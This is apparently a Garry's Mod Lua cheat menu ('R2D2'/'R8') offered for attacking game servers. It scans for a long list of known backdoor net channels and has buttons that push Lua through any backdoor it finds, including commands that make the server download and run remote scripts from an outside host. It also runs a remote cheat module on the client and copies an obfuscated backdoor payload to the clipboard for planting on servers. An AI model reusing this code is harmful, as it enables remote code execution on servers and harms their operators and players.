· 5 years ago · Oct 09, 2020, 12:00 PM
1R8 = R8 or {}
2R8.Modules = R8.Modules or {}
3
4
5concommand.Add('trace', function(pl)
6 local prop = pl:GetEyeTrace().Entity
7
8 if IsValid(prop) then
9 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
10 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \'' .. prop:GetModel() .. '\',')
11 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector(' .. string.gsub(tostring(prop:GetPos()), ' ', ', ') .. '),')
12 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle(' .. string.gsub(tostring(prop:GetAngles()), ' ', ', ') .. '),')
13 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
14 end
15end)
16
17surface.CreateFont("exitmenu", {
18 font = "Arial",
19 size = 20,
20 weight = 1000,
21 shadow = false,
22 outline = false
23})
24
25local function exitmenu(panel, X, y)
26 local CButton = vgui.Create("DButton", panel)
27 CButton:SetTextColor(Color(150, 150, 150))
28 CButton:SetText("X")
29 CButton:SetFont("exitmenu")
30 CButton:SetPos(X, y)
31 CButton:SetSize(50, 24)
32
33 CButton.DoClick = function()
34 panel:SizeTo(0, 0, .2, 0, .2)
35
36 timer.Simple(0.3, function()
37 panel:SetVisible(false)
38 end)
39 end
40
41 CButton.Paint = function(panel, w, h)
42 surface.SetDrawColor(Color(0, 0, 0, 255))
43 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
44 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
45 end
46
47 CButton.OnCursorEntered = function(self)
48 surface.PlaySound("garrysmod/ui_hover.wav")
49
50 CButton.Paint = function(panel, w, h)
51 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
52 end
53 end
54
55 -------------------------------------------------------------
56 CButton.OnCursorExited = function(self)
57 CButton.Paint = function(panel, w, h)
58 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
59 end
60 end
61 ------------------------------------------------------------------------
62end
63
64local blur = Material("pp/blurscreen")
65
66local function DrawBlur(panel, amount)
67 local x, y = panel:LocalToScreen(0, 0)
68 local scrW, scrH = ScrW(), ScrH()
69 surface.SetDrawColor(255, 255, 255)
70 surface.SetMaterial(blur)
71
72 for i = 1, 3 do
73 blur:SetFloat("$blur", (i / 3) * (amount or 6))
74 blur:Recompute()
75 render.UpdateScreenEffectTexture()
76 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
77 end
78end
79
80netKey = "memeDoor"
81BackdoorsFound = 0
82
83function ValidNetString(str)
84 local status, error = pcall(net.Start, str)
85
86 return status
87end
88
89BackDoor_net = {
90 {
91 NetWork = "Sandbox_ArmDupe"
92 },
93 {
94 NetWork = "Sbox_darkrp"
95 },
96 {
97 NetWork = "Sbox_itemstore"
98 },
99 {
100 NetWork = "Ulib_Message"
101 },
102 {
103 NetWork = "ULogs_Info"
104 },
105 {
106 NetWork = "ITEM"
107 },
108 {
109 NetWork = "R8"
110 },
111 {
112 NetWork = "fix"
113 },
114 {
115 NetWork = "Fix_Keypads"
116 },
117 {
118 NetWork = "Remove_Exploiters"
119 },
120 {
121 NetWork = "noclipcloakaesp_chat_text"
122 },
123 {
124 NetWork = "_Defqon"
125 },
126 {
127 NetWork = "_CAC_ReadMemory",
128"nostrip"
129 },
130 {
131 NetWork = "nocheat"
132 },
133 {
134 NetWork = "LickMeOut"
135 },
136 {
137 NetWork = "ULX_QUERY2"
138 },
139 {
140 NetWork = "ULXQUERY2"
141 },
142 {
143 NetWork = "MoonMan"
144 },
145 {
146 NetWork = "Im_SOCool"
147 },
148 {
149 NetWork = "Sandbox_GayParty"
150 },
151 {
152 NetWork = "DarkRP_UTF8"
153 },
154 {
155 NetWork = "oldNetReadData"
156 },
157 {
158 NetWork = "memeDoor"
159 },
160 {
161 NetWork = "BackDoor"
162 },
163 {
164 NetWork = "OdiumBackDoor"
165 },
166 {
167 NetWork = "SessionBackdoor"
168 },
169 {
170 NetWork = "DarkRP_AdminWeapons"
171 },
172 {
173 NetWork = "cucked"
174 },
175 {
176 NetWork = "NoNerks"
177 },
178 {
179 NetWork = "kek"
180 },
181 {
182 NetWork = "ZimbaBackDoor"
183 },
184 {
185 NetWork = "something"
186 },
187 {
188 NetWork = "random"
189 },
190 {
191 NetWork = "strip0"
192 },
193 {
194 NetWork = "fellosnake"
195 },
196 {
197 NetWork = "enablevac"
198 },
199 {
200 NetWork = "idk"
201 },
202 {
203 NetWork = "c"
204 },
205 {
206 NetWork = "killserver"
207 },
208 {
209 NetWork = "fuckserver"
210 },
211 {
212 NetWork = "cvaraccess"
213 },
214 {
215 NetWork = "rcon"
216 },
217 {
218 NetWork = "rconadmin"
219 },
220 {
221 NetWork = "web"
222 },
223 {
224 NetWork = "jesuslebg"
225 },
226 {
227 NetWork = "zilnix"
228 },
229 {
230 NetWork = "ГћГ ?D)в—"
231 },
232 {
233 NetWork = "disablebackdoor"
234 },
235 {
236 NetWork = "kill"
237 },
238 {
239 NetWork = "DefqonBackdoor"
240 }
241}
242
243function checkbackdoors()
244 for k, v in pairs(BackDoor_net) do
245 if (ValidNetString(v.NetWork)) then
246 BackdoorsFound = 1 + BackdoorsFound
247 chat.AddText(Color(0, 0, 0, 125), "[R2D2]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
248 end
249 end
250end
251
252CreateClientConVar("menu_r", "148", true, false)
253CreateClientConVar("menu_g", "0", true, false)
254CreateClientConVar("menu_b", "211", true, false)
255
256--------------------------------------------------------------------------------------------
257surface.CreateFont("Main", {
258 font = "Arial",
259 size = 20,
260 weight = 1000,
261 shadow = false,
262 outline = false
263})
264
265local insertdown2, insertdown, menuopen
266
267function MainMenu()
268 local x1 = vgui.Create("DFrame")
269 x1:SetPos(700, 300)
270 x1:SizeTo(300, 400, .3, 0, .3)
271 exitmenu(x1, 249, 1)
272 x1:SetTitle(" ")
273 x1:ShowCloseButton(false)
274 x1:SetVisible(true)
275 x1:MakePopup()
276
277 function x1:Paint()
278 DrawBlur(self, 5)
279 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
280 surface.SetDrawColor(Color(0, 0, 0, 255))
281 surface.DrawOutlinedRect(0, 0, x1:GetSize())
282 ---------------------------------------------------------
283 surface.DrawOutlinedRect(0, 110, x1:GetSize())
284 --surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
285 ---------------------------------------------------------
286 surface.DrawOutlinedRect(0, 25, x1:GetSize())
287 -------------------------------------------------
288 surface.DrawOutlinedRect(0, 0, 249, 26)
289 surface.DrawOutlinedRect(0, 110, 101, 90)
290 surface.DrawOutlinedRect(0, 110, 500, 90)
291 --surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
292 --
293 surface.DrawOutlinedRect(100, 25, x1:GetSize())
294 --
295 --surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
296 --
297 --surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
298 ------------------------------------------------
299 end
300
301 x1.Think = function()
302 if (input.IsKeyDown(KEY_INSERT) and not insertdown2) then
303 x1:SizeTo(0, 0, .2, 0, .2)
304
305 timer.Simple(0.1, function()
306 x1:Remove()
307 end)
308
309 menuopen = false
310 end
311 end
312
313 local function Think()
314 if (input.IsKeyDown(KEY_INSERT) and not menuopen and not insertdown) then
315 menuopen = true
316 insertdown = true
317 MainMenu()
318 elseif (not input.IsKeyDown(KEY_INSERT) and not menuopen) then
319 insertdown = false
320 end
321
322 if (input.IsKeyDown(KEY_INSERT) and insertdown and menuopen) then
323 insertdown2 = true
324 else
325 insertdown2 = false
326 end
327 end
328
329 hook.Add("Think", "", Think)
330 local news_p1 = vgui.Create("DPanel", x1)
331 news_p1:SetPos(100, 200)
332 news_p1:SetSize(200, 200)
333
334 -- Paint will paint the current page (Changing color, shape, etc)
335 news_p1.Paint = function(self, w, h)
336 draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
337 end
338
339 local richtext = vgui.Create("RichText", news_p1)
340 richtext:Dock(FILL)
341 local TheReturnedHTML = "" -- Blankness
342
343 http.Fetch("http://jackcoder.myarena.ru/cheats/news.lua", function(body, len, headers, code)
344 TheReturnedHTML = body
345 richtext:SetText(TheReturnedHTML)
346 end, function(error)
347 richtext:SetText("Не удалось получить новости с нашего сервера. \n Возможно, у вас пропало соединение с интернетом \n или наши сервера временно не доступны.")
348 end)
349
350 local q1 = vgui.Create("DHTML", x1)
351 q1:OpenURL("http://sdsds.ucoz.net/baby-clipart-r2d2-11.png")
352 q1:SetSize(150, 150)
353 q1:SetPos(6, 110)
354
355 surface.CreateFont("B1", {
356 font = "Arial",
357 size = 20,
358 weight = 1000,
359 shadow = false,
360 outline = false
361 })
362
363 ex = true
364 ct = true
365 nh = true
366
367 func_table = {
368 --
369 {
370 ---------------------------------------
371 Name = "Exploit",
372 Func = function()
373 -- if ex then
374 -- R8.Modules.Exploit()
375 -- end
376
377 ex = false
378 x1:SizeTo(0, 0, .2, 0, .2)
379 x1:SetVisible(false)
380
381 timer.Simple(0.5, function()
382 LocalPlayer():ConCommand('R8_Exploit')
383 end)
384
385 surface.PlaySound("garrysmod/ui_click.wav")
386 end
387 },
388 ---------------------------------------
389 --
390 {
391 ---------------------------------------
392 Name = "Cheat",
393 Func = function()
394 if ct then
395 http.Fetch('https://jackcoder.myarena.ru/cheats/modules/ampirs.lua', RunString)
396 end
397
398 ct = false
399 x1:SizeTo(0, 0, .2, 0, .2)
400 x1:SetVisible(false)
401
402 timer.Simple(0.5, function()
403 LocalPlayer():ConCommand('Ampris_menu')
404 end)
405
406 surface.PlaySound("garrysmod/ui_click.wav")
407 end
408 },
409 ---------------------------------------
410 --
411 --
412 {
413 ---------------------------------------
414 Name = 'BackDoor',
415 Func = function()
416 -- if nh then
417 -- R8.Modules.BackDoor()
418 -- end
419
420 nh = false
421 x1:SizeTo(0, 0, .2, 0, .2)
422 x1:SetVisible(false)
423
424 timer.Simple(0.5, function()
425 LocalPlayer():ConCommand('bd_menu')
426 end)
427
428 surface.PlaySound("garrysmod/ui_click.wav")
429 end
430 }
431 }
432
433 ---------------------------------------
434 --
435 for k, v in pairs(func_table) do
436 local Buttons = vgui.Create("DButton", x1)
437 Buttons:Dock(4)
438 Buttons:DockMargin(0, 0, 200, 5)
439 Buttons:SetText(v.Name)
440 Buttons:SetFont('B1')
441 Buttons:SetTextColor(Color(255, 255, 255, 255))
442 Buttons.DoClick = v.Func
443
444 Buttons.OnCursorEntered = function(self)
445 surface.PlaySound("garrysmod/ui_hover.wav")
446 end
447
448 function Buttons:Paint()
449 --draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
450 --
451 --draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
452 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
453 surface.SetDrawColor(Color(0, 0, 0, 255))
454 surface.DrawOutlinedRect(0, 0, Buttons:GetSize())
455 surface.DrawOutlinedRect(0, 25, Buttons:GetSize())
456 end
457 end
458
459 -----------------------------------------------------------------------------
460 local b5 = vgui.Create("DButton", x1)
461 b5:Dock(TOP)
462 b5:DockMargin(100, -81, 0, 5)
463 b5:SetText('| BackDoor | Check |')
464 b5:SetFont('B1')
465 b5:SetTextColor(Color(255, 255, 255, 255))
466
467 function b5:DoClick()
468 surface.PlaySound("garrysmod/ui_click.wav")
469 checkbackdoors()
470 end
471
472 b5.OnCursorEntered = function(self)
473 surface.PlaySound("garrysmod/ui_hover.wav")
474 end
475
476 function b5:Paint()
477 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
478 surface.SetDrawColor(Color(0, 0, 0, 255))
479 surface.DrawOutlinedRect(0, 0, b5:GetSize())
480 surface.DrawOutlinedRect(0, 25, b5:GetSize())
481 end
482
483 local b6 = vgui.Create("DButton", x1)
484 b6:Dock(TOP)
485 b6:DockMargin(100, 0, 0, 5)
486 b6:SetText('Theme Color')
487 b6:SetFont('B1')
488 b6:SetTextColor(Color(255, 255, 255, 255))
489
490 b6.OnCursorEntered = function(self)
491 surface.PlaySound("garrysmod/ui_hover.wav")
492 end
493
494 function b6:DoClick()
495 surface.PlaySound("garrysmod/ui_click.wav")
496 LocalPlayer():ConCommand('R8_theme')
497 end
498
499 function b6:Paint()
500 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
501 surface.SetDrawColor(Color(0, 0, 0, 255))
502 surface.DrawOutlinedRect(0, 0, b6:GetSize())
503 surface.DrawOutlinedRect(0, 25, b6:GetSize())
504 end
505
506 local b7 = vgui.Create("DButton", x1)
507 b7:Dock(TOP)
508 b7:DockMargin(100, 0, 0, 5)
509 b7:SetText("Copy BackDoor")
510 b7:SetFont('B1')
511 b7:SetTextColor(Color(255, 255, 255, 255))
512
513 function b7:DoClick()
514 surface.PlaySound("garrysmod/ui_click.wav")
515 local backdoorr8 = [[local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )]]
516 SetClipboardText(backdoorr8)
517 LocalPlayer():ChatPrint(':)))).')
518 end
519
520 b7.OnCursorEntered = function(self)
521 surface.PlaySound("garrysmod/ui_hover.wav")
522 end
523
524 function b7:Paint()
525 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
526 surface.SetDrawColor(Color(0, 0, 0, 255))
527 surface.DrawOutlinedRect(0, 0, b7:GetSize())
528 surface.DrawOutlinedRect(0, 25, b7:GetSize())
529 end
530
531 -----------------------------------------------------------------------------
532 -----------------------------------------------------------------------------
533 local b8 = vgui.Create("DButton", x1)
534 b8:Dock(TOP)
535 b8:DockMargin(100, 6, 0, 5)
536 b8:SetText('Love you.')
537 b8:SetFont('B1')
538 b8:SetTextColor(Color(255, 255, 255, 255))
539
540 function b8:DoClick()
541 surface.PlaySound("garrysmod/ui_click.wav")
542
543 for k, v in pairs(BackDoor_net) do
544 if (ValidNetString(v.NetWork)) then
545 net.Start(v.NetWork)
546 net.WriteString([[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R2D2] Love Star Wars.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]])
547 net.WriteBit(1)
548 net.SendToServer()
549 end
550 end
551 end
552
553 b8.OnCursorEntered = function(self)
554 surface.PlaySound("garrysmod/ui_hover.wav")
555 end
556
557 function b8:Paint()
558 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
559 surface.SetDrawColor(Color(0, 0, 0, 255))
560 surface.DrawOutlinedRect(0, 0, b8:GetSize())
561 surface.DrawOutlinedRect(0, 25, b8:GetSize())
562 end
563
564 local b9 = vgui.Create("DButton", x1)
565 b9:Dock(TOP)
566 b9:DockMargin(100, 0, 0, 5)
567 b9:SetText('Disco Time - BackDoor')
568 b9:SetFont('B1')
569 b9:SetTextColor(Color(255, 255, 255, 255))
570
571 function b9:DoClick()
572 surface.PlaySound("garrysmod/ui_click.wav")
573
574 for k, v in pairs(BackDoor_net) do
575 if (ValidNetString(v.NetWork)) then
576 net.Start(v.NetWork)
577 net.WriteString("http.Fetch(\"https://jackcoder.myarena.ru/cheats/backdoor/disco.lua\",function(b,l,h,c)RunString(b)end,nil)")
578 net.WriteBit(1)
579 net.SendToServer()
580 end
581 end
582 end
583
584 b9.OnCursorEntered = function(self)
585 surface.PlaySound("garrysmod/ui_hover.wav")
586 end
587
588 function b9:Paint()
589 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
590 surface.SetDrawColor(Color(0, 0, 0, 255))
591 surface.DrawOutlinedRect(0, 0, b9:GetSize())
592 surface.DrawOutlinedRect(0, 25, b9:GetSize())
593 end
594
595 local b10 = vgui.Create("DButton", x1)
596 b10:Dock(TOP)
597 b10:DockMargin(100, 0, 0, 3)
598 b10:SetText('R2D2 - BackDoor')
599 b10:SetFont('B1')
600 b10:SetTextColor(Color(255, 255, 255, 255))
601
602 function b10:DoClick()
603 surface.PlaySound("garrysmod/ui_click.wav")
604
605 for k, v in pairs(BackDoor_net) do
606 if (ValidNetString(v.NetWork)) then
607 net.Start(v.NetWork)
608 net.WriteString("http.Fetch(\"https://jackcoder.myarena.ru/cheats/modules/exploiter.lua\",function(b,l,h,c)RunString(b)end,nil)")
609 net.WriteBit(1)
610 net.SendToServer()
611 end
612 end
613 end
614
615 b10.OnCursorEntered = function(self)
616 surface.PlaySound("garrysmod/ui_hover.wav")
617 end
618
619 function b10:Paint()
620 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
621 surface.SetDrawColor(Color(0, 0, 0, 255))
622 surface.DrawOutlinedRect(0, 0, b10:GetSize())
623 surface.DrawOutlinedRect(0, 25, b10:GetSize())
624 end
625
626 ------------------------------------------------------------------------------------------------------------------------
627 function ColorMenu()
628 local ColorMenu = vgui.Create("DFrame")
629 ColorMenu:SetPos(399, 300)
630 ColorMenu:SizeTo(300, 265, .3, 0, .3)
631 ColorMenu:MakePopup()
632 ColorMenu:SetTitle("")
633 ColorMenu:SetVisible(true)
634 ColorMenu:ShowCloseButton(false)
635 exitmenu(ColorMenu, 249, 1)
636
637 ColorMenu.Paint = function(self, w, h)
638 DrawBlur(self, 3)
639 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
640 surface.SetDrawColor(Color(0, 0, 0, 255))
641 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
642 surface.DrawOutlinedRect(0, 25, ColorMenu:GetSize())
643 -------------------------------------------------
644 surface.DrawOutlinedRect(0, 0, 249, 26)
645 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
646 end
647
648 local color2 = vgui.Create("DColorMixer", ColorMenu)
649 color2:Dock(TOP)
650 color2:DockMargin(0, 0, 0, 0)
651 color2:SetPalette(false)
652 color2:SetWangs(false)
653 color2:SetAlphaBar(false)
654 color2:SetColor(Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 255))
655
656 function color2:ValueChanged(color)
657 LocalPlayer():ConCommand("menu_r " .. color.r)
658 LocalPlayer():ConCommand("menu_g " .. color.g)
659 LocalPlayer():ConCommand("menu_b " .. color.b)
660 end
661 end
662
663 concommand.Add('R8_theme', ColorMenu)
664
665 -----------------------------------------------------------------------------
666 local table_credits = {
667 {
668 text = "Jack Coder",
669 durl = "Jack Coder#9476"
670 },
671 {
672 text = "ASatan V2",
673 durl = "https://discord.gg/3ExmAqK"
674 },
675 {
676 text = "Red Cloud",
677 durl = "https://discord.gg/SPpRmf9"
678 }
679 }
680
681 for k, v in pairs(table_credits) do
682 local Credits = vgui.Create("DButton", x1)
683 Credits:Dock(5)
684 Credits:DockMargin(1, 5, 199, 5)
685 Credits:SetText(v.text)
686 Credits:SetFont('B1')
687 Credits:SetTextColor(Color(255, 255, 255, 255))
688
689 Credits.OnCursorEntered = function(self)
690 surface.PlaySound("garrysmod/ui_hover.wav")
691 end
692
693 function Credits:DoClick()
694 surface.PlaySound("garrysmod/ui_click.wav")
695 gui.OpenURL(v.durl)
696 end
697
698 function Credits:Paint()
699 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
700 surface.SetDrawColor(Color(0, 0, 0, 255))
701 surface.DrawOutlinedRect(0, 0, Credits:GetSize())
702 surface.DrawOutlinedRect(0, 25, Credits:GetSize())
703 end
704 end
705end
706
707concommand.Add('R8_Menu', MainMenu)
708
709
710//////////// [BASIC SHIT] ////////////
711local blur = Material("pp/blurscreen")
712
713local function DrawBlur(panel, amount)
714 local x, y = panel:LocalToScreen(0, 0)
715 local scrW, scrH = ScrW(), ScrH()
716 surface.SetDrawColor(255, 255, 255)
717 surface.SetMaterial(blur)
718
719 for i = 1, 3 do
720 blur:SetFloat("$blur", (i / 3) * (amount or 6))
721 blur:Recompute()
722 render.UpdateScreenEffectTexture()
723 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
724 end
725end
726
727CreateClientConVar("menu_r", "0", true, false)
728CreateClientConVar("menu_g", "0", true, false)
729CreateClientConVar("menu_b", "0", true, false)
730
731-- Solly copypaste
732if (istable(MOTDgd)) then
733 MOTDgd = {}
734
735 function MOTDgd.Show()
736 end
737
738 function MOTDgd.GetIfSkip()
739 return true
740 end
741end
742
743local function exitmenu(panel, X, y)
744 local CButton = vgui.Create("DButton", panel)
745 CButton:SetTextColor(Color(150, 150, 150))
746 CButton:SetText("X")
747 CButton:SetFont("exitmenu")
748 CButton:SetPos(X, y)
749 CButton:SetSize(50, 24)
750
751 CButton.DoClick = function()
752 panel:SizeTo(0, 0, .2, 0, .2)
753
754 timer.Simple(0.3, function()
755 panel:SetVisible(false)
756 end)
757 end
758
759 CButton.Paint = function(panel, w, h)
760 surface.SetDrawColor(Color(0, 0, 0, 255))
761 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
762 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
763 end
764
765 CButton.OnCursorEntered = function(self)
766 surface.PlaySound("garrysmod/ui_hover.wav")
767
768 CButton.Paint = function(panel, w, h)
769 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
770 end
771 end
772
773 -------------------------------------------------------------
774 CButton.OnCursorExited = function(self)
775 CButton.Paint = function(panel, w, h)
776 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
777 end
778 end
779 ------------------------------------------------------------------------
780end
781
782function random_string(length)
783 math.randomseed(os.time())
784
785 if length > 0 then
786 return random_string(length - 1) .. charset[math.random(1, #charset)]
787 else
788 return ""
789 end
790end
791
792local s = {}
793s.duel = {}
794s.duel[1] = table.Random(player.GetAll())
795s.duel[2] = table.Random(player.GetAll())
796s.duel[2] = 3
797s.duel[3] = -9999999
798
799--////////// [CHAT TEXT] ////////////
800function ECPrint(str)
801 chat.AddText(Color(150, 150, 150), "[R2D2] ", Color(255, 255, 255), str)
802end
803
804--////////// [NOTIFY] ////////////
805local function ECNotify(text)
806 local notify = vgui.Create("DPanel")
807 notify:SetSize(200, 50)
808 notify:SetPos(ScrW() - 200, -50)
809
810 notify.Paint = function(self, w, h)
811 draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
812 local bars = 50
813
814 for i = 0, bars do
815 local rainbow = HSVToColor(CurTime() % 6 * 60 + i, 1, 1)
816 draw.RoundedBox(0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
817 end
818
819 --draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
820 draw.SimpleText(text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
821 end
822
823 notify:MoveTo(ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
824 timer.Simple(3, function()
825 notify:MoveTo(ScrW() - notify:GetWide(), -50, .2, 0, -1)
826 end)
827 end)
828end
829
830--////////// [CLEAR CHAT] ////////////
831function clearchat()
832 for i = 0, 100 do
833 chat.AddText(" ")
834 end
835end
836
837--////////// [REMOVE ALL ERRORS] ////////////
838concommand.Add("removerrors", function()
839 hook.Add("Think", "wow", function()
840 for k, v in pairs(ents.GetAll()) do
841 if (v:GetModel():find("models/error.mdl")) then
842 v:SetModel("models/player/group01/male_02.mdl")
843 print(v:Nick() .. " model reset due to models/error.mdl")
844 end
845 end
846 end)
847end)
848
849--////////// [VAPE] ////////////
850function Vape()
851 timer.Simple(0, function()
852 RunConsoleCommand("+attack")
853 end)
854
855 timer.Simple(5.134, function()
856 RunConsoleCommand("-attack")
857 end)
858end
859
860concommand.Add("vape", Vape)
861concommand.Add("clearchat", clearchat)
862
863--////////// [CAC CHECKER] ////////////
864if (_G.QAC or _G.CAC) then
865 chat.AddText(Color(0, 255, 255), "[", "R2D2", "] ", Color(255, 255, 255), "The server has Cake Anti Cheat!")
866end
867
868function Initialize()
869 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
870 surface.PlaySound("HL1/fvox/bell.wav")
871 -- surface.PlaySound("buttons/button15.wav")
872 ECNotify("Loaded Successfully!")
873 net.Receive("DL_Answering_global", function(_len) end) -- Stop LocalPlayer from getting kicked whilst kicking all
874 net.Receive("metro_notification", function() return end) -- Disable Metro Notification
875
876 --////////// Font Creation ////////////
877 --
878 surface.CreateFont("Roboto", {
879 font = "Roboto",
880 size = 18
881 })
882
883 --
884 surface.CreateFont("Calibri-sm", {
885 font = "Calibri",
886 size = 15
887 })
888
889 --
890 surface.CreateFont("Calibri-l", {
891 font = "Calibri",
892 size = 21
893 })
894
895 --
896 surface.CreateFont("tahoma", {
897 font = "Tahoma",
898 size = 15
899 })
900 --
901end
902
903Initialize() -- Initializes basic shit for when menu is loaded.
904
905function ValidNetString(str)
906 local status, error = pcall(net.Start, str)
907
908 return status
909end
910
911------------------------------------------------------------------------
912--////////// [MENU] ////////////
913function draw.OutlinedBox(x, y, w, h, thickness, clr)
914 surface.SetDrawColor(clr)
915
916 for i = 0, thickness - 1 do
917 surface.DrawOutlinedRect(x + i, y + i, w - i * 2, h - i * 2)
918 end
919end
920
921-------------------------------------------------------------------------------------------
922surface.CreateFont("Main", {
923 font = "Arial",
924 size = 20,
925 weight = 1000,
926 shadow = false,
927 outline = false
928})
929
930function R8_Menu()
931 local menu = vgui.Create("DFrame")
932 menu:Center()
933 menu:SizeTo(300, 350, .3, 0, .3)
934 exitmenu(menu, 249, 1)
935 menu:SetTitle(" ")
936 menu:ShowCloseButton(false)
937 menu:MakePopup()
938
939 function menu:Paint()
940 DrawBlur(self, 5)
941 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
942 draw.SimpleText(totalSploits .. "/302 Exploits - R2D2", "Roboto", 5, 3, Color(255, 255, 255, 200), 0, 0)
943
944 if totalSploits == 0 then
945 draw.SimpleText("Рксплойтов РЅРµ найдено!", "Roboto", 65, 150, Color(255, 255, 255, 200), 0, 0)
946 end
947
948 surface.SetDrawColor(Color(0, 0, 0, 255))
949 surface.DrawOutlinedRect(0, 0, menu:GetSize())
950 surface.DrawOutlinedRect(0, 0, 249, 26) -- палочка для кнопки
951 surface.DrawOutlinedRect(0, 25, menu:GetSize())
952 end
953
954 --////////// [TABS] ////////////
955 local tabs = vgui.Create("DPropertySheet", menu)
956 tabs:Dock(FILL)
957 tabs:DockPadding(-5, 5, 0, 0)
958
959 tabs.Paint = function(self, w, h)
960 for k, v in pairs(tabs.Items) do
961 if (not v.Tab) then continue end
962
963 v.Tab.Paint = function(self, w, h)
964 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
965 draw.RoundedBox(0, 0, 22, w - 2, 1, Color(45, 45, 45, 255))
966
967 if (tabs:GetActiveTab() == v.Tab) then
968 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
969 --draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
970 draw.RoundedBox(0, 0, 22, w, 1, Color(255, 255, 255, 255))
971 end
972 end
973 end
974 end
975
976 --////////// [PANELS] ////////////
977 local exploitsPanel = vgui.Create("DPanel", menu)
978 exploitsPanel:Dock(1)
979
980 exploitsPanel.Paint = function(self, w, h)
981 draw.RoundedBox(0, 0, 0, w, h, Color(25, 25, 25, 100))
982 draw.OutlinedBox(0, 0, w, h, 1, Color(0, 0, 0))
983 end
984
985 local exploitsScrollPanel = vgui.Create("DScrollPanel", exploitsPanel)
986 exploitsScrollPanel:Dock(FILL)
987
988 //////////// [NEW EXPLOIT] ////////////
989 --------------------
990 totalSploits = 0
991
992 function addExploit(id, text, desc, func)
